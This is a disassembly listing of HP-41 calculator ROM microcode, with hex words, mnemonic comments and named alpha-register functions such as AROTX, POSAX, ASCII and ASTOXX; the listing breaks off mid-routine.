0x3BB ; GONC -09 LB_A754 A754 gonc LB_A754 .con 0x3E0 ; RTN .con 0x098 ; .con 0x014 ; .con 0x00F ; .con 0x012 ; .NAME "AROTX" ;AROTX: .con 0x3B5 ; GSB41C LB_ADBF ADBF ; GSUBNC 23ED, address in 4th Quad AROTX: RXQ LB_ADBF ; .con 0x08C ; ; .con 0x1BF ; .con 0x20C ; ST=1? 2 .con 0x360 ; RTNC .con 0x070 ; N=C ; .con 0x3B5 ; GSB41C LB_AE31 AE31 ; GSUBNC 23ED, address in 4th Quad RXQ LB_AE31 ; .con 0x08C ; ; .con 0x231 ; .con 0x2E6 ; ?C#0 S&X .con 0x3A0 ; RTNNC .con 0x106 ; A=C S&X .con 0x0F8 ; C=REGN ( 3)X .con 0x0FE ; BCEX MS .con 0x0B0 ; C=N LB_A773: .con 0x1C6 ; A=A-C S&X ; .con 0x3FB ; GONC -01 LB_A773 A773 gonc LB_A773 .con 0x146 ; A=A+C S&X .con 0x2DE ; ?B#0 MS ; .con 0x01B ; GONC +03 LB_A77A A77A gonc LB_A77A .con 0x0A6 ; ACEX S&X .con 0x1C6 ; A=A-C S&X LB_A77A: .con 0x0A6 ; ACEX S&X .con 0x070 ; N=C .con 0x238 ; C=REGN ( 8)P .con 0x0FC ; RCR 10 .con 0x158 ; M=C LB_A77F: .con 0x0B0 ; C=N .con 0x266 ; C=C-1 S&X .con 0x360 ; RTNC .con 0x070 ; N=C .con 0x01C ; PT= 3 .con 0x198 ; C=M .con 0x10A ; A=C R<- .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x046 ; C=0 S&X .con 0x01C ; PT= 3 .con 0x08D ; GSUBNC PTBYTA 2323 ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; ; .con 0x37B ; GONC -11 LB_A77F A77F gonc LB_A77F .con 0x098 ; .con 0x001 ; .con 0x013 ; .con 0x00F ; .NAME "POSAX" POSAX: .con 0x0F8 ; C=REGN ( 3)X .con 0x27E ; C=C-1 MS .con 0x2FE ; ?C#0 MS ; .con 0x057 ; GOC +0A LB_A7A3 A7A3 goc LB_A7A3 .con 0x35C ; PT= 12 .con 0x010 ; LC 0 .con 0x2EE ; ?C#0 ALL ; .con 0x1B3 ; GONC +36 LB_A7D3 A7D3 gonc LB_A7D3 .con 0x31C ; PT= 1 LB_A79F: .con 0x23C ; RCR 2 .con 0x2EA ; ?C#0 R<- ; .con 0x3F7 ; GOC -02 LB_A79F A79F goc LB_A79F ; .con 0x03B ; GONC +07 LB_A7A9 A7A9 gonc LB_A7A9 ;LB_A7A3: .con 0x3B5 ; GSB41C LB_AE31 AE31 ; GSUBNC 23ED, address in 4th Quad LB_A7A3: RXQ LB_AE31 ; .con 0x08C ; ; .con 0x231 ; .con 0x23C ; RCR 2 .con 0x19C ; PT= 11 .con 0x04A ; C=0 R<- LB_A7A9: .con 0x070 ; N=C ; .con 0x3B5 ; GSB41C LB_ADD2 ADD2 ; GSUBNC 23ED, address in 4th Quad RXQ LB_ADD2 ; .con 0x08C ; ; .con 0x1D2 ; .con 0x20C ; ST=1? 2 ; .con 0x12F ; GOC +25 LB_A7D3 A7D3 goc LB_A7D3 LB_A7AF: .con 0x08A ; B=A R<- .con 0x0B0 ; C=N .con 0x158 ; M=C LB_A7B2: .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x0AE ; ACEX ALL .con 0x1D8 ; CMEX .con 0x37C ; RCR 12 .con 0x31C ; PT= 1 .con 0x384 ; ST=0 0 .con 0x36A ; ?A#C R<- ; .con 0x017 ; GOC +02 LB_A7BC A7BC goc LB_A7BC .con 0x388 ; ST=1 0 LB_A7BC: .con 0x1D8 ; CMEX .con 0x0AE ; ACEX ALL .con 0x198 ; C=M .con 0x37C ; RCR 12 .con 0x2EA ; ?C#0 R<- ; .con 0x01F ; GOC +03 LB_A7C4 A7C4 goc LB_A7C4 .con 0x38C ; ST=1? 0 ; .con 0x0B7 ; GOC +16 LB_A7D9 A7D9 goc LB_A7D9 LB_A7C4: .con 0x04E ; C=0 ALL .con 0x130 ; LDI 005 .con 0x005 ; .con 0x01C ; PT= 3 .con 0x36A ; ?A#C R<- ; .con 0x053 ; GONC +0A LB_A7D3 A7D3 gonc LB_A7D3 .con 0x38C ; ST=1? 0 ; .con 0x02F ; GOC +05 LB_A7D0 A7D0 goc LB_A7D0 .con 0x06A ; ABEX R<- .con 0x359 ; GSUBNC INCADA 29D6 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; ; .con 0x303 ; GONC -20 LB_A7AF A7AF gonc LB_A7AF LB_A7D0: .con 0x359 ; GSUBNC INCADA 29D6 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; ; .con 0x303 ; GONC -20 LB_A7B2 A7B2 gonc LB_A7B2 LB_A7D3: .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x130 ; LDI 091 .con 0x091 ; .con 0x23C ; RCR 2 ; .con 0x063 ; GONC +0C LB_A7E4 A7E4 gonc LB_A7E4 ;LB_A7D9: .con 0x3B5 ; GSB41C LB_ADD2 ADD2 ; GSUBNC 23ED, address in 4th Quad LB_A7D9: RXQ LB_ADD2 ; .con 0x08C ; ; .con 0x1D2 ; .con 0x008 ; ST=1 3 ; .con 0x3B5 ; GSB41C LB_ADF2 ADF2 ; GSUBNC 23ED, address in 4th Quad RXQ LB_ADF2 ; .con 0x08C ; ; .con 0x1F2 ; ; .con 0x3B5 ; GSB41C LB_AE10 AE10 ; GSUBNC 23ED, address in 4th Quad RXQ LB_AE10 ; .con 0x08C ; ; .con 0x210 ; .con 0x0CE ; C=B ALL LB_A7E4: .con 0x0E8 ; REGN=C ( 3)X .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x000 ; NOP .con 0x099 ; .con 0x018 ; .con 0x007 ; .con 0x00E ; .con 0x005 ; .con 0x00C ; .NAME "ALENGXY" ;ALENGXY: .con 0x389 ; GOL41C LB_A9F2 A9F2 ; GSUBNC 23E2, address in 3rd Quad ALENGXY: RGO LB_A9F2 ; .con 0x08C ; ; .con 0x1F2 ; .con 0x098 ; .con 0x00F ; .con 0x014 ; .con 0x001 ; .NAME "LATOX" ;LATOX: .con 0x389 ; GOL41C LB_A949 A949 ; GSUBNC 23E2, address in 3rd Quad LATOX: RGO LB_A949 ; .con 0x08C ; ; .con 0x149 ; .con 0x000 ; NOP .con 0x001 ; GOLNC PACKN 0000 ; HP41 SYSTEM ROM 0 .con 0x002 ; ;LB_A7FD: .con 0x003 ; GONC +00 LB_A7FD A7FD LB_A7FD: gonc LB_A7FD .con 0x004 ; ST=0 3 .con 0x005 ; GSUBNC 3E01 LB_A800: .con 0x0F8 ; LB_A801: .con 0x10E ; A=C ALL .con 0x08E ; B=A ALL .con 0x0CE ; C=B ALL .con 0x27E ; C=C-1 MS .con 0x2FE ; ?C#0 MS .con 0x3A0 ; RTNNC .con 0x2FC ; RCR 13 .con 0x2FE ; ?C#0 MS ; .con 0x0AB ; GONC +15 LB_A81E A81E gonc LB_A81E .con 0x0CE ; C=B ALL .con 0x2A0 ; SETDEC .con 0x2AE ; C=-C-1 ALL .con 0x20E ; C=A+C ALL .con 0x2AE ; C=-C-1 ALL .con 0x260 ; SETHEX .con 0x2EE ; ?C#0 ALL ; .con 0x06F ; GOC +0D LB_A81E A81E goc LB_A81E .con 0x130 ; LDI 009 .con 0x009 ; .con 0x33C ; RCR 1 .con 0x35E ; ?A#0 MS ; .con 0x01B ; GONC +03 LB_A819 A819 gonc LB_A819 .con 0x37E ; ?A#C MS ; .con 0x037 ; GOC +06 LB_A81E A81E goc LB_A81E LB_A819: .con 0x1BC ; RCR 11 .con 0x356 ; ?A#0 XS ; .con 0x02B ; GONC +05 LB_A820 A820 gonc LB_A820 .con 0x376 ; ?A#C XS ; .con 0x01B ; GONC +03 LB_A820 A820 gonc LB_A820 LB_A81E: .con 0x0CE ; C=B ALL .con 0x3E0 ; RTN LB_A820: .con 0x08E ; B=A ALL .con 0x04E ; C=0 ALL .con 0x356 ; ?A#0 XS .con 0x360 ; RTNC .con 0x03A ; B=0 M .con 0x3EE ; ASL ALL .con 0x356 ; ?A#0 XS ; .con 0x05B ; GONC +0B LB_A832 A832 gonc LB_A832 .con 0x289 ; GOLNC ERROF 00A2 ; HP41 SYSTEM ROM 0 .con 0x002 ; LB_A82A: .con 0x1FA ; C=C+C M .con 0x11A ; A=C M .con 0x1FA ; C=C+C M .con 0x1FA ; C=C+C M .con 0x15A ; A=A+C M .con 0x04E ; C=0 ALL .con 0x06E ; ABEX ALL .con 0x3EE ; ASL ALL LB_A832: .con 0x06E ; ABEX ALL .con 0x0FE ; BCEX MS .con 0x0FC ; RCR 10 .con 0x21A ; C=A+C M .con 0x1A6 ; A=A-1 S&X ; .con 0x39B ; GONC -0D LB_A82A A82A gonc LB_A82A .con 0x03C ; RCR 3 .con 0x3E0 ; RTN LB_A83A: .con 0x0B8 ; C=REGN ( 2)Y ; .con 0x233 ; GONC -3A LB_A801 A801 gonc LB_A801 .con 0x08E ; .con 0x03E ; .con 0x03C ; .NAME "M<>N" M<>N: .con 0x1B8 ; C=REGN ( 6)N .con 0x10E ; A=C ALL .con 0x178 ; C=REGN ( 5)M .con 0x1A8 ; REGN=C ( 6)N .con 0x0AE ; ACEX ALL .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN .con 0x08F ; .con 0x03E ; .con 0x03C ; .NAME "M<>O" M<>O: .con 0x1F8 ; C=REGN ( 7)O .con 0x10E ; A=C ALL .con 0x178 ; C=REGN ( 5)M .con 0x1E8 ; REGN=C ( 7)O .con 0x0AE ; ACEX ALL .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN ; .con 0x08F ; GOC +11 LB_A863 A863 goc LB_A863 .con 0x03E ; B=0 MS .con 0x03C ; RCR 3 .con 0x00E ; A=0 ALL .con 0x1B8 ; C=REGN ( 6)N .con 0x10E ; A=C ALL .con 0x1F8 ; C=REGN ( 7)O .con 0x1A8 ; REGN=C ( 6)N .con 0x0AE ; ACEX ALL .con 0x1E8 ; REGN=C ( 7)O .con 0x3E0 ; RTN .con 0x090 ; LC 2 .con 0x03E ; B=0 MS .con 0x03C ; RCR 3 .con 0x00E ; A=0 ALL .con 0x1B8 ; C=REGN ( 6)N .con 0x10E ; A=C ALL LB_A863: .con 0x238 ; C=REGN ( 8)P .con 0x1A8 ; REGN=C ( 6)N .con 0x0AE ; ACEX ALL .con 0x228 ; REGN=C ( 8)P .con 0x3E0 ; RTN .con 0x089 ; .con 0x009 ; .con 0x003 ; .con 0x013 ; .NAME "ASCII" ASCII: .con 0x3B5 ; GSUBNC R^SUB 14ED ; HP41 SYSTEM ROM 1 .con 0x050 ; .con 0x1A0 ; CLRABC .con 0x39C ; PT= 0 .con 0x178 ; C=REGN ( 5)M .con 0x0E2 ; BCEX @R .con 0x33C ; RCR 1 .con 0x0A2 ; ACEX @R .con 0x04E ; C=0 ALL .con 0x0E2 ; BCEX @R .con 0x070 ; N=C .con 0x0A2 ; ACEX @R .con 0x23C ; RCR 2 .con 0x0AE ; ACEX ALL .con 0x2A0 ; SETDEC .con 0x04E ; C=0 ALL .con 0x35C ; PT= 12 .con 0x090 ; LC 2 .con 0x135 ; GSUBNC MP2-10 184D ; HP41 SYSTEM ROM 1 .con 0x060 ; .con 0x0AE ; ACEX ALL .con 0x35C ; PT= 12 .con 0x04E ; C=0 ALL .con 0x210 ; LC 8 .con 0x135 ; GSUBNC MP2-10 184D ; HP41 SYSTEM ROM 1 .con 0x060 ; .con 0x0AE ; ACEX ALL .con 0x0B0 ; C=N .con 0x23C ; RCR 2 .con 0x01D ; GSUBNC AD2-10 1807 ; HP41 SYSTEM ROM 1 .con 0x060 ; .con 0x0E8 ; REGN=C ( 3)X .con 0x3E0 ; RTN .con 0x0A4 ; SELPF 2 ; Peripheral 2: HP-IL .con 0x012 ; A=0 P-Q .con 0x008 ; ST=1 3 ;LB_A891: .con 0x003 ; GONC +00 LB_A891 A891 LB_A891: gonc LB_A891 .con 0x0F8 ; C=REGN ( 3)X .con 0x2F6 ; ?C#0 XS .con 0x381 ; GOLC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x00B ; .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x0AE ; ACEX ALL ; .con 0x365 ; GOL41C LB_AACC AACC ; GSUBNC 0FD9, address in same Quad RGO LB_AACC ; .con 0x03C ; ; .con 0x2CC ; .con 0x360 ; RTNC .con 0x191 ; GOLNC XAVIEW 0364 ; HP41 SYSTEM ROM 0 .con 0x00E ; .con 0x000 ; NOP .con 0x000 ; NOP .con 0x089 ; .con 0x00D ; .con 0x015 ; .con 0x00E ; .NAME "ANUMI" ;ANUMI: .con 0x379 ; GSB41C LB_AA8B AA8B ; GSUBNC 0FDE, address in same Quad ANUMI: RXQ LB_AA8B ; .con 0x03C ; ; .con 0x28B ; .con 0x10C ; ST=1? 8 ; .con 0x037 ; GOC +06 LB_A8B0 A8B0 goc LB_A8B0 LB_A8AB: .con 0x04E ; C=0 ALL .con 0x2DC ; PT= 13 .con 0x250 ; LC 9 .con 0x050 ; LC 1 .con 0x0EE ; BCEX ALL LB_A8B0: .con 0x0B9 ; GOLNC RCL 122E ; HP41 SYSTEM ROM 1 .con 0x04A ; LB_A8B2: .con 0x0F8 ; C=REGN ( 3)X .con 0x11E ; A=C MS .con 0x106 ; A=C S&X .con 0x361 ; GSUBNC CHK$S 14D8 ; HP41 SYSTEM ROM 1 .con 0x050 ; .con 0x260 ; SETHEX .con 0x05E ; C=0 MS .con 0x046 ; C=0 S&X .con 0x356 ; ?A#0 XS ; .con 0x047 ; GOC +08 LB_A8C3 A8C3 goc LB_A8C3 .con 0x37C ; RCR 12 .con 0x1A6 ; A=A-1 S&X ; .con 0x02F ; GOC +05 LB_A8C3 A8C3 goc LB_A8C3 .con 0x1A6 ; A=A-1 S&X ; .con 0x03B ; GONC +07 LB_A8C7 A8C7 gonc LB_A8C7 .con 0x3ED ; GSUBNC INTINT 02FB ; HP41 SYSTEM ROM 0 .con 0x008 ; LB_A8C3: .con 0x106 ; A=C S&X .con 0x130 ; LDI 031 .con 0x031 ; .con 0x306 ; ?A<C S&X LB_A8C7: .con 0x0B5 ; GOLNC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A2 ; .con 0x04E ; C=0 ALL .con 0x0A6 ; ACEX S&X .con 0x106 ; A=C S&X .con 0x3E0 ; RTN .con 0x090 ; LC 2 .con 0x03E ; B=0 MS .con 0x03C ; RCR 3 .con 0x00D ; GSUBNC 8E03 .con 0x238 ; .con 0x10E ; A=C ALL .con 0x178 ; C=REGN ( 5)M .con 0x228 ; REGN=C ( 8)P .con 0x0AE ; ACEX ALL .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN .con 0x090 ; LC 2 .con 0x03E ; B=0 MS .con 0x03C ; RCR 3 ; .con 0x00F ; GOC +01 LB_A8DC A8DC goc LB_A8DC LB_A8DC: .con 0x238 ; C=REGN ( 8)P .con 0x10E ; A=C ALL .con 0x1F8 ; C=REGN ( 7)O .con 0x228 ; REGN=C ( 8)P .con 0x0AE ; ACEX ALL .con 0x1E8 ; REGN=C ( 7)O .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x090 ; .con 0x013 ; .con 0x014 ; .con 0x013 ; .con 0x00F ; .NAME "POSTSP" POSTSP: .con 0x108 ; ST=1 8 ; .con 0x03B ; GONC +07 LB_A8F5 A8F5 gonc LB_A8F5 .con 0x090 ; .con 0x013 ; .con 0x005 ; .con 0x012 ; .NAME "PRESP" PRESP: .con 0x104 ; ST=0 8 LB_A8F5: .con 0x130 ; LDI 020 .con 0x020 ; .con 0x158 ; M=C ; .con 0x379 ; GSB41C LB_A900 A900 ; GSUBNC 0FDE, address in same Quad RXQ LB_A900 ; .con 0x03C ; ; .con 0x100 ; .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC ; .con 0x379 ; GSB41C LB_A96F A96F ; GSUBNC 0FDE, address in same Quad RXQ LB_A96F ; .con 0x03C ; ; .con 0x16F ; LB_A900: .con 0x1A0 ; CLRABC .con 0x0E0 ; SELQ .con 0x05C ; PT= 4 .con 0x058 ; G=C .con 0x1D0 ; LC 7 .con 0x22E ; C=C+1 ALL .con 0x0EE ; BCEX ALL .con 0x130 ; LDI 1BC .con 0x1BC ; .con 0x1BC ; RCR 11 .con 0x39C ; PT= 0 .con 0x210 ; LC 8 .con 0x0AE ; ACEX ALL .con 0x0A0 ; SELP .con 0x15C ; PT= 6 .con 0x238 ; C=REGN ( 8)P .con 0x052 ; C=0 P-Q .con 0x35C ; PT= 12 .con 0x2EE ; ?C#0 ALL ; .con 0x07F ; GOC +0F LB_A922 A922 goc LB_A922 .con 0x18E ; A=A-B ALL .con 0x1F8 ; C=REGN ( 7)O .con 0x2EE ; ?C#0 ALL ; .con 0x05F ; GOC +0B LB_A922 A922 goc LB_A922 .con 0x18E ; A=A-B ALL .con 0x1B8 ; C=REGN ( 6)N .con 0x2EE ; ?C#0 ALL ; .con 0x03F ; GOC +07 LB_A922 A922 goc LB_A922 .con 0x18E ; A=A-B ALL .con 0x178 ; C=REGN ( 5)M .con 0x2EE ; ?C#0 ALL ; .con 0x01F ; GOC +03 LB_A922 A922 goc LB_A922 .con 0x18E ; A=A-B ALL ; .con 0x06F ; GOC +0D LB_A92E A92E goc LB_A92E LB_A922: .con 0x0EE ; BCEX ALL .con 0x04E ; C=0 ALL .con 0x130 ; LDI 012 .con 0x012 ; .con 0x1BC ; RCR 11 .con 0x0EE ; BCEX ALL ; .con 0x023 ; GONC +04 LB_A92C A92C gonc LB_A92C LB_A929: .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x18E ; A=A-B ALL LB_A92C: .con 0x2F2 ; ?C#0 P-Q ; .con 0x3E3 ; GONC -04 LB_A929 A929 gonc LB_A929 LB_A92E: .con 0x08E ; B=A ALL .con 0x0E0 ; SELQ .con 0x39C ; PT= 0 .con 0x0A0 ; SELP .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x0BF ; .con 0x007 ; .con 0x00E ; .con 0x005 ; .con 0x00C ; .NAME "ALENG?" ALENG?: .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x0AE ; ACEX ALL .con 0x07C ; RCR 4 .con 0x22E ; C=C+1 ALL LB_A93F: .con 0x0AE ; ACEX ALL ; .con 0x379 ; GSB41C LB_ABE3 ABE3 ; GSUBNC 0FDE, address in same Quad RXQ LB_ABE3 ; .con 0x03C ; ; .con 0x3E3 ; .con 0x0EE ; BCEX ALL .con 0x0B9 ; GOLNC RCL 122E ; HP41 SYSTEM ROM 1 .con 0x04A ; .con 0x08C ; ST=1? 5 .con 0x018 ; UNDEF018 .con 0x001 ; GSUBC FA00 LB_A949: .con 0x3E9 ; .con 0x08C ; ST=1? 5 .con 0x0D8 ; CGEX .con 0x2F0 ; DATA=C .con 0x0E0 ; SELQ LB_A94E: .con 0x0D8 ; CGEX ; .con 0x383 ; GONC -10 LB_A93F A93F gonc LB_A93F .con 0x092 ; B=A P-Q .con 0x018 ; UNDEF018 .con 0x001 ; GSUBC FA00 .con 0x3E9 ; .con 0x08C ; ST=1? 5 ; .con 0x369 ; GOL41C LB_AB80 AB80 ; GSUBNC 0FDA, address in same Quad RGO LB_AB80 ; .con 0x03C ; ; .con 0x380 ; .con 0x098 ; .con 0x006 ; .con 0x005 ; .con 0x012 ; .NAME "PREFX" PREFX: .con 0x104 ; ST=0 8 ; .con 0x043 ; GONC +08 LB_A966 A966 gonc LB_A966 .con 0x098 ; .con 0x006 ; .con 0x014 ; .con 0x013 ; .con 0x00F ; .NAME "POSTFX" POSTFX: .con 0x108 ; ST=1 8 ;LB_A966: .con 0x379 ; GSB41C LB_A800 A800 ; GSUBNC 0FDE, address in same Quad LB_A966: RXQ LB_A800 ; .con 0x03C ; ; .con 0x000 ; .con 0x056 ; C=0 XS .con 0x158 ; M=C .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC LB_A96F: .con 0x198 ; C=M .con 0x106 ; A=C S&X .con 0x39A ; ASR M LB_A972: .con 0x038 ; C=REGN ( 0)T .con 0x0D8 ; CGEX .con 0x10C ; ST=1? 8 ; .con 0x013 ; GONC +02 LB_A977 A977 gonc LB_A977 .con 0x2F0 ; DATA=C LB_A977: .con 0x046 ; C=0 S&X .con 0x0E0 ; SELQ .con 0x0D8 ; CGEX .con 0x0A0 ; SELP .con 0x366 ; ?A#C S&X ; .con 0x063 ; GONC +0C LB_A988 A988 gonc LB_A988 .con 0x1BA ; A=A-1 M .con 0x360 ; RTNC .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x354 ; ?PT= 12 ; .con 0x383 ; GONC -10 LB_A972 A972 gonc LB_A972 .con 0x0E6 ; BCEX S&X .con 0x266 ; C=C-1 S&X .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X ; .con 0x35B ; GONC -15 LB_A972 A972 gonc LB_A972 LB_A988: .con 0x10C ; ST=1? 8 .con 0x360 ; RTNC .con 0x0AE ; ACEX ALL .con 0x03C ; RCR 3 LB_A98C: .con 0x106 ; A=C S&X LB_A98D: .con 0x39C ; PT= 0 LB_A98E: .con 0x238 ; C=REGN ( 8)P .con 0x0D8 ; CGEX .con 0x03C ; RCR 3 .con 0x05A ; C=0 M .con 0x2FC ; RCR 13 .con 0x228 ; REGN=C ( 8)P .con 0x1F8 ; C=REGN ( 7)O .con 0x0D8 ; CGEX .con 0x23C ; RCR 2 .con 0x1E8 ; REGN=C ( 7)O .con 0x1B8 ; C=REGN ( 6)N .con 0x0D8 ; CGEX .con 0x23C ; RCR 2 .con 0x1A8 ; REGN=C ( 6)N .con 0x178 ; C=REGN ( 5)M .con 0x0D8 ; CGEX .con 0x23C ; RCR 2 .con 0x168 ; REGN=C ( 5)M .con 0x1A6 ; A=A-1 S&X ; .con 0x36B ; GONC -13 LB_A98E A98E gonc LB_A98E .con 0x3E0 ; RTN .con 0x098 ; .con 0x006 ; .con 0x008 ; .con 0x013 ; .NAME "ASHFX" ;ASHFX: .con 0x379 ; GSB41C LB_A8B2 A8B2 ; GSUBNC 0FDE, address in same Quad ASHFX: RXQ LB_A8B2 ; .con 0x03C ; ; .con 0x0B2 ; .con 0x266 ; C=C-1 S&X .con 0x360 ; RTNC .con 0x35E ; ?A#0 MS ; .con 0x2F7 ; GOC -22 LB_A98C A98C goc LB_A98C .con 0x158 ; M=C .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC .con 0x198 ; C=M LB_A9B5: .con 0x106 ; A=C S&X .con 0x39A ; ASR M LB_A9B7: .con 0x038 ; C=REGN ( 0)T LB_A9B8: .con 0x098 ; C=G .con 0x2F0 ; DATA=C .con 0x1A6 ; A=A-1 S&X .con 0x360 ; RTNC .con 0x1BA ; A=A-1 M .con 0x360 ; RTNC .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x354 ; ?PT= 12 ; .con 0x3BB ; GONC -09 LB_A9B8 A9B8 gonc LB_A9B8 .con 0x0E6 ; BCEX S&X .con 0x266 ; C=C-1 S&X .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X ; .con 0x38B ; GONC -0F LB_A9B7 A9B7 gonc LB_A9B7 ;LB_A9C7: .con 0x22B ; GONC -3B LB_A98C A98C LB_A9C7: gonc LB_A98C .con 0x098 ; .con 0x007 ; .con 0x00E ; .con 0x005 ; .con 0x00C ; .NAME "ALENGX" ALENGX: .con 0x130 ; LDI 020 .con 0x020 ; LB_A9D0: .con 0x158 ; M=C .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; ; .con 0x379 ; GSB41C LB_A8B2 A8B2 ; GSUBNC 0FDE, address in same Quad RXQ LB_A8B2 ; .con 0x03C ; ; .con 0x0B2 ; .con 0x0CE ; C=B ALL .con 0x11A ; A=C M .con 0x270 ; DADD=C .con 0x07C ; RCR 4 .con 0x226 ; C=C+1 S&X .con 0x1C6 ; A=A-C S&X ; .con 0x033 ; GONC +06 LB_A9E2 A9E2 gonc LB_A9E2 .con 0x0A6 ; ACEX S&X .con 0x2A6 ; C=-C-1 S&X .con 0x35E ; ?A#0 MS ; .con 0x2AB ; GONC -2B LB_A9B5 A9B5 gonc LB_A9B5 ; .con 0x333 ; GONC -1A LB_A9C7 A9C7 gonc LB_A9C7 LB_A9E2: .con 0x1A6 ; A=A-1 S&X .con 0x360 ; RTNC .con 0x198 ; C=M .con 0x0E0 ; SELQ .con 0x058 ; G=C .con 0x0A0 ; SELP .con 0x35E ; ?A#0 MS ; .con 0x1DB ; GONC +3B LB_AA24 AA24 gonc LB_AA24 .con 0x0A6 ; ACEX S&X LB_A9EB: .con 0x158 ; M=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x198 ; C=M .con 0x266 ; C=C-1 S&X ; .con 0x3DB ; GONC -05 LB_A9EB A9EB gonc LB_A9EB .con 0x3E0 ; RTN ;LB_A9F2: .con 0x379 ; GSB41C LB_A83A A83A ; GSUBNC 0FDE, address in same Quad LB_A9F2: RXQ LB_A83A ; .con 0x03C ; ; .con 0x03A ; ; .con 0x2DB ; GONC -25 LB_A9D0 A9D0 gonc LB_A9D0 .con 0x08C ; ST=1? 5 .con 0x001 ; GSUBNC 0600 .con 0x018 ; ; .con 0x379 ; GSB41C LB_A800 A800 ; GSUBNC 0FDE, address in same Quad RXQ LB_A800 ; .con 0x03C ; ; .con 0x000 ; .con 0x158 ; M=C .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; ; .con 0x153 ; GONC +2A LB_AA29 AA29 gonc LB_AA29 .con 0x3DC ; INCPT .con 0x3DC ; INCPT .con 0x0C6 ; C=B S&X .con 0x358 ; ST=C .con 0x00C ; ST=1? 3 ; .con 0x057 ; GOC +0A LB_AA0F AA0F goc LB_AA0F .con 0x394 ; ?PT= 0 ; .con 0x023 ; GONC +04 LB_AA0B AA0B gonc LB_AA0B .con 0x226 ; C=C+1 S&X .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X LB_AA0B: .con 0x038 ; C=REGN ( 0)T .con 0x098 ; C=G .con 0x2F0 ; DATA=C .con 0x3E0 ; RTN LB_AA0F: .con 0x154 ; ?PT= 6 ; .con 0x3DB ; GONC -05 LB_AA0B AA0B gonc LB_AA0B .con 0x05C ; PT= 4 .con 0x238 ; C=REGN ( 8)P .con 0x3D8 ; CSTEX .con 0x23C ; RCR 2 .con 0x098 ; C=G .con 0x228 ; REGN=C ( 8)P .con 0x1F8 ; C=REGN ( 7)O .con 0x3D8 ; CSTEX .con 0x23C ; RCR 2 .con 0x1E8 ; REGN=C ( 7)O .con 0x1B8 ; C=REGN ( 6)N .con 0x3D8 ; CSTEX .con 0x23C ; RCR 2 .con 0x1A8 ; REGN=C ( 6)N .con 0x178 ; C=REGN ( 5)M .con 0x3D8 ; CSTEX .con 0x23C ; RCR 2 .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN LB_AA24: .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x1A6 ; A=A-1 S&X ; .con 0x3EB ; GONC -03 LB_AA24 AA24 gonc LB_AA24 .con 0x3E0 ; RTN LB_AA29: .con 0x198 ; C=M .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC .con 0x0E0 ; SELQ .con 0x058 ; G=C .con 0x0A0 ; SELP .con 0x3CE ; CSR ALL .con 0x3CE ; CSR ALL .con 0x158 ; M=C .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; ; .con 0x3AB ; GONC -0B LB_AA29 AA29 gonc LB_AA29 .con 0x098 ; .con 0x018 ; .con 0x00F ; .con 0x014 ; .con 0x013 ; .NAME "ASTOXX" ASTOXX: .con 0x04E ; C=0 ALL .con 0x158 ; M=C ; .con 0x379 ; GSB41C LB_A900 A900 ; GSUBNC 0FDE, address in same Quad RXQ LB_A900 ; .con 0x03C ; ; .con 0x100 ; .con 0x2EE ; ?C#0 ALL ; .con 0x16B ; GONC +2D LB_AA6E AA6E gonc LB_AA6E ; .con 0x379 ; GSB41C LB_A8B2 A8B2 ; GSUBNC 0FDE, address in same Quad RXQ LB_A8B2 ; .con 0x03C ; ; .con 0x0B2 ; .con 0x1A6 ; A=A-1 S&X ; .con 0x147 ; GOC +28 LB_AA6E AA6E goc LB_AA6E .con 0x0CE ; C=B ALL .con 0x3DA ; CSR M .con 0x11A ; A=C M .con 0x35E ; ?A#0 MS ; .con 0x1B3 ; GONC +36 LB_AA81 AA81 gonc LB_AA81 .con 0x05C ; PT= 4 .con 0x050 ; LC 1 .con 0x1D0 ; LC 7 .con 0x11A ; A=C M .con 0x39C ; PT= 0 .con 0x130 ; LDI 005 .con 0x005 ; ; .con 0x0C3 ; GONC +18 LB_AA6B AA6B gonc LB_AA6B LB_AA54: .con 